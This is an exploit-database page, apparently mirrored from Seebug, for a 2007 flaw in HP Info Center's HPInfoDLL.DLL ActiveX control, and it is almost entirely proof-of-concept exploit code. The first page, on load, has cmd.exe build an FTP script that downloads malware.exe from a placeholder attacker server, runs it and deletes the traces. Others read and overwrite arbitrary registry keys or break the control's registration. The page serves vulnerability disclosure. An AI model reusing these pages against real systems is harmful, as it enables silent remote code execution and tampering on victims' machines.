Lucene search
K

HP Info Center HPInfoDLL.DLL ActiveX控件多个任意代码执行漏洞

🗓️ 14 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

HP Info Center HPInfoDLL.DLL ActiveX控件任意代码执行漏

Code

                                                ///////////////////////////////////

//Remote code execution PoC exploit

///////////////////////////////////

<html>

<head>

<script language="JavaScript">

var attackersFtpServerAddress="attacker.ftp.server";

var attackersFtpUname="IDidntDoAnything";

var attackersFtpPassword="password";

var executableFileName="malware.exe";

var cnt,p;

function spawn2()

{

o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C echo open "+attackersFtpServerAddress+

" >> c:\\ftpd&echo "+attackersFtpUname+">> c:\\ftpd&echo "+attackersFtpPassword+

">> c:\\ftpd&echo binary>> c:\\ftpd&echo get "+executableFileName+

"c:\\"+executableFileName+" >> c:\\ftpd&echo quit>> c:\\ftpd",0);

o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C echo cd c:\\>> c:\\ftpd.bat"+

"&echo ftp -s:ftpd>> c:\\ftpd.bat&echo start c:\\"+executableFileName+

" >> c:\\ftpd.bat",0);

o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C c:\\ftpd.bat&del "+

"c:\\ftpd.bat&del c:\\ftpd&del c:\\"+executableFileName,0);

}

</script>

</head>

<body onload="spawn2()">

<object ID="o2obj" WIDTH=0 HEIGHT=0

classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"

</object>

</body>

</html>

/////////////////////////////////////////

//Remote system registry read PoC exploit

/////////////////////////////////////////

<html>

<head>

<script language="JavaScript">

var hKey;

var sectionName;

var keyName;

ProcessRegistryData(parm)

{

alert(parm);

}

function spawn2()

{

var ret=o2obj.GetRegValue(hKey,sectionName,keyName);

ProcessRegistryData(ret);

}

</script>

</head>

<body onload="spawn2()">

<object ID="o2obj" WIDTH=0 HEIGHT=0

classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"

</object>

</body>

</html>

///////////////////////////////////////////

//Remote system registry write PoC exploit

///////////////////////////////////////////

<html>

<head>

<script language="JavaScript">

var hKey;

var sectionName;

var keyName;

var newKeyValue;

function spawn2()

{

var ret=o2obj.SetRegValue(hKey,sectionName,keyName,newKeyValue);

}

</script>

</head>

<body onload="spawn2()">

<object ID="o2obj" WIDTH=0 HEIGHT=0

classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"

</object>

</body>

</html>

////////////////////

// harakiri exploit

////////////////////

<html>

<head>

<script language="JavaScript">

function spawn2()

{

var ret=hpinfo.SetRegValue("HKEY_LOCAL_MACHINE",

"SOFTWARE\\Classes\\CLSID\\"+

"{62DDEB79-15B2-41E3-8834-D3B80493887A}\\InprocServer32","","");

}

</script>

</head>

<body onload="spawn2()">

<object ID="o2obj" WIDTH=0 HEIGHT=0

classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"

</object>

</body>

</html>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation